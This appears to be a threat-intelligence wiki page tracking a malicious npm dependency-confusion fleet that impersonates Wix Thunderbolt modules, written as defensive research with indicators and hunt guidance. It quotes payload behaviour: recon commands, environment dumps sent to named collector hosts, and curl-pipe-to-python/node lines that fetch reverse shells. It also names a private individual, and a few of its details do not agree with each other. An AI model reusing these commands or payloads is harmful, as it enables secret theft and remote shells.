Skip to content

Wix Thunderbolt dependency-confusion recon fleet, 27 npm names, one thunderboltRegistry.js…

Tags

Summary

A single Amazon-Inspector ingest batch (OSV MAL-2026-17473-MAL-2026-17530, published 2026-10-04 23:12-23:29 UTC) contains a 27-name npm fleet purpose-built to look like modules from Wix's internal Thunderbolt build namespace. Every member ships the same payload file, thunderboltRegistry.js, whose load-time IIFE runs host reconnaissance (id, whoami, uname -a, ifconfig/ip addr, cat /etc/hosts, some also hostname, pwd, cat /etc/resolv.conf, env | head -50) and exfiltrates the output to one of three shared collectors. The public names resolve ONLY for installers configured to fall back to the public registry when an internal thunderboltRegistry-style module fails to resolve, a textbook dependency-confusion qualification shape, and the first on-wiki fleet explicitly dressed for ONE named company's internal namespace at 27-name scale.

This wiki verified at capture (Oct 4 ~23:55-00:20 UTC sweep): every sampled member of the fleet is STILL LIVE and installable on npm (27/27 sampled registry.npmjs.org 200), zero GHSA mirrors across the family at check.

The shape (from the OSV detail texts + this wiki's liveness checks)

  • Costume: package names advertise CSS/a11y utilities (css-*-polyfill, css-*-shim, a11y-*, tiny-*, rgx33-*, popover-anchor-polyfill, dom-focus-sentinel, wcag-color-a11y-helpers…). index.js is typically an empty stub or a Proxy of no-op functions.
  • Namespace bait: the shipped module exports factories under Wix-internal registry names, thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, and similar, and bundles a registry-manifest.min.json mapping those names to static.parastorage.com/unpkg/... URLs (Wix's public CDN), reinforcing the internal-module illusion for resolver humans and machines alike.
  • Payload: a load-time IIFE in thunderboltRegistry.js runs the recon command set via child_process.execSync and ships each result (plus hostname, Node version, platform, pid) to a hardcoded collector. Several variants base64- or String.fromCharCode-encode every sensitive string (module/method names, commands, destination host, OAST subdomain) to defeat static inspection; several walk require.cache deleting thunderboltRegistry entries so the beacon re-fires on every require, and use node:child_process / new module.constructor().require('child_process') fallbacks to obtain the exec primitive. One variant self-labels beacon=rce-poc, another beacon=poc15, the POC labeling is either cover or a qualification-program tell; do not read it as authorization evidence.
  • Activation: no install hook needed, the beacon fires at require() time, so even a resolve-and-import in a CI dependency tree triggers it.

Shared collectors (durable cluster keys, the subdomain/token survives every name)

Collector Role This wiki's probe (Oct 4 ~23:55Z)
dxpoc.gt.tc/callback.php[/<32-hex-token>] primary HTTP beacon (plain HTTP AND HTTPS variants; tokens bb8968d0f67000433bf7005dd5ad2d1f, ef9ea0e191006f3cc6670720c99c26f3) DNS resolves 185.27.134.102; HTTP 000 at check (listener down, domain/DNS armed)
webhook.site/0492a36c-4d7b-408a-865c-226db25987ba secondary HTTP collector (shared token across ≥4 names) 429 (rate-limited, endpoint live)
davdpb8lhot13kgmnhp0863x9g83mpswq.oast.live DNS-exfil collector (Burp Collaborator class, dns.resolve on per-command subdomains) wildcard resolves 178.128.210.172 = ARMED

The .oast.live/.oastify.com subdomain string is the same class of durable cluster key this wiki recorded on the UOL-afiliados and @uh-platform fleets: hunt resolver logs for the subdomain itself, it survives renames and version bumps, and you do not need to know the label grammar.

The 27 names (OSV IDs, all amazon-inspector origin, all 1.0.0, all published 2026-10-04T23:12-23:29Z in one ingest window)

css-a11y-contrast-utils (17475), css-anchor-pos-fallback (17476), css-env-function-shim (17477), css-field-sizing-polyfill (17478), css-gap-decorations-polyfill (17479), css-interop-observer-polyfill (17480), css-light-dark-polyfill (17481), css-logical-prop-shim (17482), css-reading-flow-polyfill (17483), css-relative-color-util (17484), css-scroll-anchor-polyfill (17485), css-scroll-state-polyfill (17486), css-snap-target-polyfill (17487), css-starting-style-polyfill (17488), focus-visible-polyfill-lite (17491), a11y-tabindex-manager (17501), dom-focus-sentinel (17503), minimal-a11y-contrast-check (17514), popover-anchor-polyfill (17517), postcss-gap-fallback-util (17518), rgx33-css-grid-utils (17520), rgx33-flex-layout-core (17521), tiny-css-token-parser (17525), tiny-dom-focus-trap (17526), tiny-focusgroup-helper (17527), tiny-viewport-unit-calc (17528), wcag-color-a11y-helpers (17530).

Registry disposition at check: 27/27 sampled STILL 200 installable, no npm action despite advisories being <1 h old; downloads are near-zero (css-a11y-contrast-utils 0/wk, css-env-function-shim 170/wk), consistent with a targeting play rather than a volume spray.

Why it matters (durable reads)

  1. Company-namespaced dependency confusion at fleet scale. Prior on-wiki confusion squats borrowed generic internal names (@uh-platform, @uol-afiliados, Telegram-chat fleet). This is the first fleet that dresses itself INSIDE one company's real internal module grammar, down to a manifest aliasing that company's real CDN asset URLs. Defensive read: the squat no longer needs your scope to be forgotten; it needs your resolver's public-registry fallback to exist.
  2. Recon-before-arming shape. Every artifact observed is host-reconnaissance beaconing, nothing more, the qualification/engagement-testing pattern this wiki has repeatedly seen precede a payload wave at beaconed orgs (Telegram chat fleet precedent). The fleet's live-and-unremoved state means the next push can ride the same names.
  3. Advisory ≠ enforcement, again. 27 advisory-backed names, all installable <1 h post-advisory, zero GHSA mirrors = Dependabot blind; npm-side action was pending at check.

Hunt guidance

  • npm/org: lockfile + resolver-log grep for the 27 names above; any package shipping thunderboltRegistry.js, a registry-manifest.min.json referencing parastorage.com, or exporting corvidRegistry/siteAssetsRegistry without being Wix-published.
  • DNS/HTTP logs: queries to *.davdpb8lhot13kgmnhp0863x9g83mpswq.oast.live; requests to dxpoc.gt.tc/callback.php*; to webhook.site/0492a36c-4d7b-408a-865c-226db25987ba. Any resolver hit = an internal module name resolved to the public registry somewhere in your build estate, that is the finding, independent of payload.
  • Config: for any org with internal namespaces resolving to npm, enforce scope-allowlists / internal-registry-only resolution for unscoped-and-internal-looking names; audit .npmrc/.yarnrc fallback ordering.

October 5 follow-up (seventy-eighth sweep, ~05:15-05:35 UTC): the fleet GREW while its first wave was still unadvised-enforced, a SECOND 13-name wave in OSV batch MAL-2026-17531-17566, four hours after the first wave's advisories, with fresh collector tokens

The OSV stream moved again +36 (contiguous 17531-17566, all npm/amazon-inspector, published 03:12-03:38Z) and thirteen of the thirty-six are new Wix-Thunderbolt-costumed names, the fleet has been built out from 27 to 40 names across two waves, the second publishing ~4 h AFTER the first wave's 23:12-23:29Z advisories. Second-wave names and records: aria-live-region-helper (17546), css-at-scope-polyfill (17547), css-ayucyz-polyfill (17548), css-display-reading-polyfill (17549), css-dwsawd-polyfill (17550), css-gvqmfn-polyfill (17551), css-hgwctv-polyfill (17552), css-ikomdq-polyfill (17553), css-mpmdds-polyfill (17554), css-nbanqq-polyfill (17555), css-ogojwh-polyfill (17556), css-svqggc-polyfill (17557), css-txedrf-polyfill (17558), all 1.0.0, published 03:35-03:37Z in a two-minute window (scripted).

New collector strings (hunt these, not the names): the dxpoc.gt.tc endpoint now carries per-program path tokens, /callback.php/ef9ea0e191006f3cc6670720c99c26f3 (aria-live-region-helper) and /callback.php/bb8968d0f67000433bf7005dd5ad2d1f SHARED across ≥6 names (css-ayucyz, css-dwsawd, css-gvqmfn, css-hgwctv, css-mpmdds, css-ogojwh, css-svqggc, css-txedrf) = a path-level cluster key that survives any name churn; css-ikomdq-polyfill uses the bare /callback.php/ and adds require.cache purging so the beacon RE-FIRES on every require; css-display-reading-polyfill is the wave's webhook.site member (webhook.site/5e52603d-f802-4a6f-b91b-43c3a5b45b6b, verified 200 LIVE at check) shipped as payload.bundle.min.js and explicitly declares itself as the loader entry in shipped Wix thunderbolt manifest JSONs. css-nbanqq/css-svqggc carry the registry-manifest.min.json → parastorage.com aliasing again; css-gvqmfn ships the Proxy no-op stub set. One variant self-labels beacon=rce-poc again, same POC-shaped cover tell as wave one.

This wiki's disposition checks (~05:20Z): sampled second-wave names aria-live-region-helper, css-at-scope-polyfill, css-ikomdq-polyfill ALL 200 installable minutes-to-hours post-advisory (downloads still near-zero: css-at-scope 0/wk = qualification, not spray); dxpoc.gt.tc still resolves 185.27.134.102 with HTTP still down (DNS armed); webhook.site 5e52603d 200. Zero GHSA mirrors for any of the 36 new records; GHSA global feed top unchanged Oct-2 23:18:12Z.

Durable read updated: a 27-name fleet that was STILL ENTIRELY INSTALLABLE when this wiki reported it grew by 13 more names four hours later, the operator treats the advisory wave as a build trigger, the same advisories-as-build-trigger loop previously measured on the @baanx and starlette-healthchecks names, now at fleet scale. The bb8968d0… path token is the single best hunt string on this campaign.

October 5 follow-up #2 (seventy-ninth sweep, ~07:15-07:35 UTC): an 18-name scripted UNPUBLISH WINDOW at 03:34-03:37Z rode the fleet's own advisory ingest, delete-only, NO security holders, while eleven first-wave names were left fully installable and the collectors stayed armed

The standing monitor item "npm takedown of the 27 + 13 names" partially resolved in a way neither of the two clean narratives predicts. Full registry time-block forensics across all 40 names (this wiki, ~07:15-07:30Z):

The deletion window. Between 03:34:13Z and 03:37:13Z on Oct 5, 18 names in this family were unpublished in one 180-second pass: twelve of the thirteen second-wave names (css-at-scope-polyfill 03:34:13Z first, then one every 1-2 s through css-nbanqq-polyfill 03:37:13Z; the thirteenth, aria-live-region-helper, was already dead from an Oct 3 self-delete) plus six first-wave names (css-field-sizing-polyfill, css-interop-observer-polyfill, css-light-dark-polyfill, css-reading-flow-polyfill, css-relative-color-util, css-snap-target-polyfill, interleaved into the same sequence at 03:34:16-28Z). The merged sequence runs in near-alphabetical order across wave-1 and wave-2 names (field-sizing between second-wave at-scope and ayucyz, interop-observer between gvqmfn and ikomdq…) = ONE batch tool iterating a single sorted name list. (Two minutes to a quarter-hour before the window, at 03:19:09/03:20:26Z, the two surviving DirtyBlanket squat shells @anguar/core/@anuglar/core were also unpublished, adjacent in time, different family; see the DirtyBlanket page update.) Eleven OTHER family names had already been deleted in three EARLIER clusters, Oct 2 21:27Z (6), Oct 2 22:37Z (3), Oct 3 00:30Z (2), windows that PREdate every advisory in the family = operator self-deletes, matching the express clones' 14 h pre-advisory self-deletion pattern. Net ledger across all 40 names: 29 erased, 11 still installable.

Who did it is unresolved, and the distinguishing evidence points at the operator, not npm. The 180-second window sits INSIDE the second wave's own advisory-ingest window (advisories 03:12-03:38Z, deletes 03:34-03:37Z ≈ simultaneous with ingestion) which superficially reads as automated registry action. But every one of the 18 in-window deletions, and all 11 earlier self-deletes, is delete-only with ZERO 0.0.1-security holders, and this wiki measured (Sep 21-22 sweeps, recorded on the OSV stream page) that npm's own automated neutralization creates security-holder packages within minutes of the same machine-advisory pipeline. A deletion pass that skips holder creation while executing in alphabetical order matches operator cleanup-on-detection far better than registry enforcement; the pre-advisory self-delete clusters confirm the operator runs exactly this script. Consequence either way: all 29 erased names are re-registerable, and the surviving collectors mean re-registration only needs the payload re-attach.

MECHANIC + SELF-CORRECTIONS: registry doc-200 ≠ installable, and OSV publish time ≠ npm publish time. Two errors in the seventy-eighth-sweep read are corrected by the registry time blocks pulled this sweep: (1) the "17/17 sampled installable" count used doc-URL 200s; for the three sampled Wix names (css-at-scope-polyfill, css-ikomdq-polyfill, aria-live-region-helper) the versions had ALREADY been erased before that sweep's ~05:20Z check, the doc 200s were shells with empty versions. Installability requires a non-empty versions dict or a live tarball HEAD. (2) The "second scripted publish 03:35-03:37Z four hours after wave-1's advisories" claim mistook the OSV ingest window for the npm publish window. Actual registry publish times: aria-live-region-helper Oct 2 22:51Z, and the twelve css-* wave-2 names Oct 4 14:20-16:13Z, i.e., the whole second wave published ~9 h BEFORE wave one's 23:12-23:29Z advisories, not after. The fleet's build-out was a continuous Oct 2→Oct 4 sequence (17 names on Oct 2 evening, 12 late Oct 4); wave two's OSV advisories merely ingested last. The advisories-as-build-trigger read is RETRACTED for this fleet (it stands for the earlier @baanx/starlette-healthchecks cases where registry publish times genuinely postdated advisories); what this sweep's forensics instead establishes is cleanup-on-detection: the 03:34-03:37Z deletion window rides the advisory ingest almost second-for-second.

The survivors (verified this sweep by tarball HEAD 200, ~44 h post-advisory):

Still fully installable Published Status at 07:30Z
a11y-tabindex-manager (17501) Oct 2 23:05Z v1.0.0 tarball 200
css-anchor-pos-fallback (17476) Oct 3 00:43Z tarball 200
css-env-function-shim (17477) Oct 3 00:29Z tarball 200
css-gap-decorations-polyfill (17479) Oct 2 23:53Z tarball 200
css-scroll-anchor-polyfill (17485) Oct 2 23:25Z tarball 200
css-scroll-state-polyfill (17486) Oct 3 00:47Z tarball 200
css-starting-style-polyfill (17488) Oct 3 00:54Z tarball 200
focus-visible-polyfill-lite (17491) Oct 3 00:02Z tarball 200
popover-anchor-polyfill (17517) Oct 3 00:38Z tarball 200
tiny-focusgroup-helper (17527) Oct 2 23:37Z tarball 200
tiny-viewport-unit-calc (17528) Oct 3 00:25Z tarball 200

These are the wave-1 names published in the LAST publish cluster (Oct 2 23:05-Oct 3 01:35Z) that neither the Oct 2/3 self-delete clusters (Oct 2 21:27, 22:37, Oct 3 00:30Z windows, 10 names) nor the Oct 5 03:34Z window touched. If 03:34Z was an operator script, it missed these 11; if it was npm, enforcement is name-list-incomplete. Either way the fleet's require-time recon capability is still live at 11-name scale, and the collectors confirm the pipeline is open: davdpb8lhot…oast.live still resolves 178.128.210.172 and answers 200 at 07:30Z; webhook.site/5e52603d… still 200; dxpoc.gt.tc still DNS-armed (HTTP down); zero GHSA aliases on sampled records re-verified via OSV aliases field (17546/17547/17553/17563/17566 all NO-ALIAS at 07:30Z).

Durable read updated: a machine-advised fleet got a scripted, alphabetical, holder-less deletion pass riding its own advisory ingest second-for-second, while eleven first-wave names stayed fully installable ~44 h post-advisory, deletion provenance cannot be assumed "enforcement," and the holder-creation signature is what distinguishes npm neutralization from operator cleanup; and OSV published is an INGEST clock, before claiming advisories-as-build-trigger from an OSV window, pull the registry time block. Hunt consequence is unchanged and now sharper: the bb8968d0… path token and the three collectors are the only durable indicators, every one of the 40 names is now either erased-and-re-registerable or one publish away from the same.

October 5 follow-up #3 (eighty-third sweep, ~17:10-17:55 UTC): a THIRD six-name wave, and the fleet ESCALATED from reconnaissance to remote code execution, with the staging captured live by this wiki before it went dark

The monitor item "a THIRD wave in the same grammar" fired. OSV batch MAL-2026-17572-17579 (16:13-16:15Z, amazon-inspector) carries six new css-<6-random>-polyfill names in the wave-2 gibberish grammar: css-eqxcdx-polyfill (17573), css-gwqyid-polyfill (17574), css-kfvwax-polyfill (17575), css-nrmgzn-polyfill (17576), css-vvgsze-polyfill (17577), css-yhpodl-polyfill (17578), all 1.0.0, all presenting the same thunderbolt-registry costume (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry exports).

The payload is no longer recon-only. Per the OSV detail texts (all six read in full), thunderboltRegistry.js's load-time IIFE now does BOTH: (1) the familiar recon, id, whoami, env, ifconfig/ip addr, hostname, plus a wholesale dump of process.env via fetch() to a FRESH shared collector https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/ (tagged cmd=env; this wiki's probe: 200 = ARMED), and (2) execSync("curl -L https://appsecc.com/py | python3") (three names) or appsecc.com/js | node (css-vvgsze), self-tagged cmd=reverse-shell. This is the wave this wiki predicted in its own durable read #2 ("the qualification pattern … precedes a payload wave"), except the wave rode the same costume rather than a new one.

This wiki captured the live stage before anyone could take it down. https://appsecc.com/py 301s (TTL-cached, x-wix-cache-control, Varnish sea1) to https://raw.githubusercontent.com/NaorYaa/Test/main/py.py: a 218-byte textbook Python reverse shell (socket → dup2 0/1/2 → subprocess.call(["/bin/sh","-i"])) hardcoded to crazydiam0nd.com:8084, sha256 64e26f6cbddec033223cbba1bc91530d64edf08bc89320c8448055bb7d09b360. appsecc.com/js 301s to nodejs.js in the same repo: the classic 440-byte Node net.Socket reverse shell to the SAME crazydiam0nd.com:8084, sha256 d775ae312110ecfdc0e6476b2c942d0775cf5dde9f23d404fb74ca554324e83b. Three notes: - The redirector rides Wix's own platform: appsecc.com nameservers are ns14/ns15.wixdns.net behind Wix edge IPs 185.230.63.171/186/107, the attack impersonating Wix's internal namespace stages its kill-chain redirector ON Wix infrastructure (or a Wix-hosted site). The redirect target is one git push (or one Wix editor edit) away from pointing anywhere = the durable IoC is the redirector host, not the shell contents. - The GitHub staging is ABUSED, not owned: account NaorYaa (Naor Yaacov, registered Dec 2018, 14 repos, zero public events) and both files date to 2022-2023 (py.py created Nov 2022, last touched Jan 2023; nodejs.js alongside long-dead filler) = a decade-old third-party test repo hotlinked as free C2-dotted staging. Attribution: none from this; the hotlink is a cost-cutting tell consistent with the whole fleet's free-tier economy (webhook.site, oastify, Vercel, gt.tc). - The listener is currently dark: crazydiam0nd.com → 13.40.94.51 (AWS eu-north-1), HTTP/HTTPS 000, :8084 closed/filtered at check, same dormant-collector shape as dxpoc.gt.tc and ci-artifacts.dev. Every install that ran the hook during the exposure windows has a dormant dialer; listener return = mass phone-home.

Registry time-block forensics (per the seventy-ninth sweep's mechanic rules, no publish-time claims without the time block): the six names were created 09:58:27-11:29:58Z and unpublished 11:14:11-13:28:06Z, css-nrmgzn after just 1 h 16 m, the other five in a scripted 13:25:56-13:28:06Z two-minute pass. ALL deletions PREdate the 16:13-16:15Z advisory ingest, delete-only, ZERO 0.0.1-security holders = the operator's cleanup-on-detection script ran again, this time entirely ahead of the advisories (exposure per name ≈ 56 min-3.5 h, vs the wave-1/wave-2 names that lived 1-3 days). All six survive as empty-versions shells = all re-registerable. The registry-doc 403-on-npmjs + empty versions state was verified for all eight 17572-17579 records by this wiki at ~17:2xZ.

Updated durable reads: (1) the recon-to-weapon escalation interval for this campaign measured end-to-end: wave 1 Oct 2 (recon) → wave 3 Oct 5 (RCE-on-install) = 72 hours, with the fleet's own deletion cadence as the only thing that kept exposure windows short, the operator is faster at cleanup than npm is at enforcement, which is cold comfort for anyone who installed during the windows; (2) env-var dumping means every CI secret that passed through an installer's environment during the ~90-min windows should be treated as exposed, for affected orgs: rotate anything in process.env on build hosts that resolved a css-*polyfill to the public registry between Oct 5 08:00Z and 13:30Z; (3) hunt strings for wave 3: unl9pgk6ei4uf80n5tf4iktspjvbuzkn9 (resolver/egress logs), appsecc.com (egress + cert transparency), crazydiam0nd.com / 13.40.94.51:8084 (post-compromise beacon), and the shell hashes above (disk).

October 6 ninety-third sweep: COLLECTOR-PROBE POSTMORTEM, oastify serves 200 on EVERY subdomain (garbage tokens included, 1,190-B stock page), so every status-code heartbeat on this page was under-verified; unl9pgk6… re-verified ARMED on the 56-B unique body, and two wave-3-adjacent tokens in prior heartbeats were transcription-truncated forms of the canonical checkmate-remediation-assistant/with-cte collectors

This sweep ran control probes against deliberately fabricated subdomain tokens (aabbccddeeff00112233445566778899.oastify.com and friends) and got HTTP 200 with the stock 1,190-byte Burp Collaborator default page, PortSwigger's wildcard answers everything. Consequences for this page:

  • unl9pgk6ei4uf80n5tf4iktspjvbuzkn9 (wave-3 env-dump collector): genuinely ARMED, returns a 56-byte unique body, not the default page. The armed claims stand, now measured correctly.
  • 187d714jfhvpi5lodv19c4nqj88ce41o / 9q0lp9mrt8b14nk9y72fpj34a6tghkv2 in recent heartbeats are 40/41-char transcription-truncated forms of the canonical one-off-squat collectors 187d714jo62z5j5c39hc437myd44sxgm (with-cte, OSV MAL-2026-17579) and 9q0lp9mr6ek7nrnklhzkmbpuglmda4yt (checkmate-remediation-assistant, MAL-2026-17572) from the eighty-third's same-window one-offs, those canonical tokens DO return the 55-B armed body; the truncated forms only ever hit the catch-all. The "collectors 200 day six" heartbeats were true only because the catch-all also says 200, the correct reading is: the canonical pair is armed, the truncated strings are worthless as hunt keys. Copy collector tokens from the OSV record, character for character.
  • Durable rule: status=200 from *.oastify.com = nothing. Armed = small unique body (compare size/sha against a fabricated-token control from the same sweep). Update every standing collector-watch heartbeat accordingly.
  • Staging rail unchanged at check: appsecc.com/py 301→raw.githubusercontent.com/NaorYaa/Test/main/py.py day seven, repo pushed_at Jan 20 2024 = the kill-chain redirect target has sat un-taken-down for four months; crazydiam0nd.com:8084 connection-refused (dormant dialers); all eight sampled css-*-polyfill docs answer 200 (shells behind security holders).

October 6 ninety-fifth sweep: WAVE FOUR, a seventh css-<gibberish>-polyfill name (css-jptvix-polyfill, publisher naorya) arrives via curated-lane PR #1599 (NOT OSV, NOT GHSA, zero either), and its FRESH collector orj3tao0…oastify.com fingerprints to THIS PAGE'S OWN wave-3 Burp Collaborator account by body prefix = the ninety-fourth's hunt key scored its first live hit before the machine lanes even knew the name existed

Curated-lane PR ossf/malicious-packages #1599 (reporter eskim86, opened Oct 6 17:29Z, OPEN at check) files css-jptvix-polyfill@1.0.0 with a full IOC block, the record states detection "by an LLM-judged static-analysis pipeline three minutes after publication (2026-10-06 07:32 UTC) and verified manually." Registry ground truth (this wiki): created 07:29:57.382Z, npm-unpublished 15:04:23Z, delete-only, NO security holder, a bare re-registerable time-block shell, the same end-state the fleet's operator-cleanup pass left on wave 3.

  • Same costume, same rail: index.js empty module, registry-manifest.min.json maps Wix-internal names (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry…) → static.parastorage.com URLs, thunderboltRegistry.js require-time IIFE runs id/whoami/env/ifconfig via execSync to collector + curl -L https://appsecc.com/js | node (payload file sha256 8b437ee6733aa1c34668f7c67d779276c08f7013def225c55d61c31753442fc7, tgz a123d1c8306596b90cee0521d1a014b5f973c281362d0515990421fddc7b1cd7). The PR names its own sibling: "Same facade and behavior as css-eqxcdx-polyfill (different package name and collector host)", wave 3's first name. Beacon tag rce-poc again (the POC-labeling tell from the Summary stands).
  • THE FINGERPRINT HIT (account attribution #4): GET orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com → 56-B armed body 7uznim4i436d7xy23v830ozjksgigz, shares the ninety-fourth's published Wix-account prefix 7uznim4i436d7xy23v830ozjk… with wave-3's unl9pgk6… (…rgigz), tail varying per token; re-probed twice (~19:2x / 19:4xZ) byte-identical. Wave 4 (Oct 6) and wave 3 (Oct 5) demonstrably share ONE Collaborator account. The account fingerprint rule published one sweep ago, GET any new *.oastify.com sighting, match the body prefix, converted a brand-unknown package into a confirmed continuation of THIS fleet within minutes of the PR landing, with zero payload analysis and before any OSV/GHSA record existed. That is the mechanic working exactly as designed; log it as the key's validation event.
  • Publisher adjacency, recorded not asserted: npm publisher naorya vs the abused staging account NaorYaa (NaorYaa/Test, the appsecc.com redirect target, day nine un-taken-down), the same name string in two roles within 24 h of each other is worth a follow-up (npm profile 403 at check; search for maintainer:naorya returns 0 = no other packages survive the deletion). If the account is the operator's own rather than the repo owner's, the fleet's staging rail and publishing rail collapse to one identity.
  • Fleet ledger updated: wave 4 = 1 name (so far; monitor for the wave to fan out to the fleet's usual 6-name width in the same grammar), delete-only shell, re-registerable. OSV MAL-2026-17573's sibling chain and the three wave-3 collectors unchanged. The durable hunt line is unchanged and reinforced: collector strings and body prefixes, not package names.

October 6 ninety-sixth sweep (~22:35-23:15 UTC): WAVE FOUR ADVISORIES LAND VIA THE MACHINE LANE, NOT THE CURATED PR, OSV MAL-2026-17638 (amazon-inspector-sourced) + GHSA-m6m7-6f4x-c5v3 (21:31:38Z, ~68 min after the repo commit) = the wiki's first measured OSV→GHSA forward-mirror clock; wave-3 collector unl9pgk6… went DARK same day = armedness is session-lifed

  • The race: curated-lane PR #1599 (eskim86, OPEN since 17:29Z) still holds only a MAL-0000-css-jptvix-polyfill.json placeholder, while the ID'd OSV record on main came from amazon-inspector (import 20:20:38Z), the machine lane independently reached the wave-4 name ~2.7 h after the curated PR filed it, and got the permanent ID. If #1599 merges, this name ends up with two records in the repo = cross-lane duplicate, the eighty-sixth's placeholder-collision grammar in new form.
  • GHSA-m6m7-6f4x-c5v3 (= 1.0.0, boilerplate amazon-inspector text) independently confirms the wave-4 payload this wiki carried from the PR: execSync id/whoami/env/ifconfig + hostname → orj3tao0…oastify.com (full env leak "including any tokens or secrets"), plus the curl -L https://appsecc.com/js | node branch self-labeled reverse-shell, dependency-confusion-qualified against Wix thunderbolt internals. First OSV-first arrival → measured OSV→GHSA mirror ~68-71 min (symmetric with the reverse 63/66-min clocks).
  • Collector ledger at ~23:05Z: orj3tao0… (wave 4) STILL ARMED byte-identical 7uznim4i436d7xy23v830ozjksgigz, account-prefix attribution re-confirms on a second pass hours later; unl9pgk6… (wave 3) now returns the 1,190-B stock catch-all, first expiry observation: the fleet's collectors die when the Collaborator session closes (wave-3 token armed ~6 h after this wiki first measured it). The appsecc.com/js redirect rail is the fleet's only still-live listener at check (day ten).
  • Wave-4 width: still ONE name (css-jptvix-polyfill); root css-jptvix unclaimed, polyfill doc shell survives unpublished, re-register surfaces open.

Monitor

  • npm takedown of the 27 + 13 second-wave names, PARTIALLY MOOTED by the Oct 5 03:19-03:37Z holder-less deletion pass (21 names) + the 11 still-live survivors listed above; the OPEN question is re-registration of any of the 29 delete-only shells and whether npm ever holder-creates the live 11.
  • A THIRD wave in the same grammar (two waves ~4 h apart = the campaign is in build-out phase). FIRED Oct 5 eighty-third sweep, six-name wave 3 with the payload escalated to RCE-on-install, see the third-wave section above.
  • GHSA mirrors for any member; second-wave names reusing the same three collectors (the collector strings are the hunt, not the names).
  • Wix public confirmation/response (none at check); any payload escalation riding live names (require-time code is re-fetchable only via re-publish, watch version bumps).
  • dxpoc.gt.tc listener returning at 185.27.134.102 (currently DNS-armed, HTTP-down); the .oast.live collector resolves regardless.

Sources

  • OSV MAL-2026-17473-MAL-2026-17530 amazon-inspector detail texts (all 58 wave records read in full by this wiki Oct 4 ~23:45-00:10 UTC; family subset listed above).
  • This wiki: npm registry liveness (27/27 sample), npm downloads API pulls, DNS/HTTP probes of all three collectors, Oct 4-5 ~23:55-00:20 UTC.

October 7 ninety-seventh sweep (~01:3x UTC): THE DARK TOKEN RE-ARMS, wave-3 collector unl9pgk6…, measured at the 1,190-B catch-all ~23:05Z the previous evening, returns its 56-B armed body 7uznim4i…rgigz BYTE-IDENTICAL ~2.5 h later = armedness oscillates with the attacker's Collaborator session, it does not expire with the token; "dark = historical artifact" is retired

The ninety-sixth's session-lifetime finding gets its amendment before its first anniversary: curl of the canonical unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com at ~01:3xZ answers the full 56-B armed body carrying the wave-3/wave-4 shared account prefix 7uznim4i436d7xy23v830ozjk, character-for-character what the ninety-fourth and ninety-fifth captured while it was armed. It was dark (stock 1,190-B page) at the ninety-sixth's ~23:05Z check. Same account, same token, same body, three hours apart, dark in between. Corrected durable mechanic: a dark reading is time-of-check, not a death certificate, the armed body comes back byte-identical when the operator's Collaborator session comes back. Operational consequences: (1) never exclude a token from resolver-log hunts on one dark reading, re-probe on cadence; (2) the dark→armed FLIP is itself a live-infrastructure signal (the account is being used again NOW) and worth alerting on the same way the armed state is; (3) published prefixes remain permanent hunt keys, and so do tokens. Set at this check: unl9pgk6… ARMED (…rgigz), orj3tao0… ARMED (…sgigz, unchanged), one-off-squat pair 187d714jo62z…/9q0lp9mr6ek7… DARK (prefix 4rgpacf6… still valid as a hunt key against future sightings; re-arm flips on these two are now a watch item). Fleet surface otherwise unchanged: css-jptvix-polyfill delete-only shell (created 07:29:57.382Z, unpublished 15:04:23.469Z, zero holders), root css-jptvix unclaimed 404, appsecc.com/js 301→NaorYaa/Test day eleven.

October 7 ninety-eighth sweep (~03:3x UTC): THE FLEET-WIDE RED-DARK, every canonical collector token probed across BOTH tracker campaigns (this fleet's Wix pair + the ltidisafe five incl. the day-11 first-wave token + the one-off-squat pair) answers the 1,190-B catch-all at check, and unl9pgk6… completes the first observed armed→dark→armed→dark full cycle in ten hours

Re-GET under the body-size rule (two passes ~45 s apart, ~03:3xZ): unl9pgk6ei4uf80n5tf4iktspjvbuzkn9 → 1,190-B stock page (DARK again ~2 h after the ninety-seventh's re-arm capture), orj3tao0ic8oj24h9njymexmtdz5ztphe → DARK, 187d714jo62z… → DARK (no flip since the ninety-seventh), and per the algamil7x ninety-eighth section all five ltidisafe tokens incl. the continuously-armed-since-Sep-25 1vxhqpj0… → DARK. Ledger on the wave-3 token, four observations: armed 17:25Z → dark 23:05Z → armed 01:3xZ → dark 03:3xZ. The session-oscillation model holds through a complete round trip: the token's BODIES come back byte-identical each time the account's session returns, and nothing about the token itself changes between states. Read recorded, not asserted: two distinct attacker accounts (prefixes 7uznim4i… here, 8n0l3yjy… on the ltidisafe page) went idle within the same ~2 h window = either idle-time coincidence or a shared human cadence; the flip-watch on all four/five tokens continues, and the next dark→armed flip re-opens armed-state beacon-confirmation hunts fleet-wide. Fleet surface otherwise unchanged: css-jptvix-polyfill delete-only shell (0 dl/wk), css-jptvix root unclaimed, appsecc.com/js 301→NaorYaa/Test day eleven = the fleet's only still-live listener at check.

October 7 ninety-ninth sweep (~05:2x UTC): THE FULL FLEET RE-ARMS, Wix pair, all five ltidisafe tokens, and the one-off-squat pair ALL armed at one check for the first time in the hunt's history, every body byte-identical to its pre-dark state, all THREE account prefixes (7uznim4i… + 8n0l3yjy… + 4rgpacf6…) simultaneously live ~2 h after the fleet-wide redark

unl9pgk6… → 56-B 7uznim4i…rgigz (second dark→armed flip, byte-identical), orj3tao0… → 56-B 7uznim4i…sgigz, 187d714jo62z…/9q0lp9mr6ek7… → 55-B 4rgpacf6lvcslqp6vfjvbjzjjglgz/4rgpacf6lvcslqp6vfjvbjzjkgjgz, the pair's first armed reading since the ninety-fourth (they were dark at the ninety-seventh AND ninety-eighth). Ledger on unl9pgk6… now five observations: armed 17:25Z → dark 23:05Z → armed 01:3xZ → dark 03:3xZ → armed 05:2xZ. The one-off pair's dark→armed flip confirms the ninety-seventh's rule for a THIRD account: dark never meant dead, and the 4rgpacf6… prefix survived its first full dark cycle unchanged. The three-account simultaneous dark-then-simultaneous re-arm is the strongest shared-cadence signal to date, recorded as cadence observation, not attribution. Full mechanics in the ninety-ninth algamil7x section. Fleet surface otherwise unchanged: css-jptvix-polyfill delete-only shell (0 dl/wk), root unclaimed, appsecc.com/js 301→NaorYaa/Test day eleven; beacon-confirmation hunt window OPEN on all Wix tokens until the next dark flip.

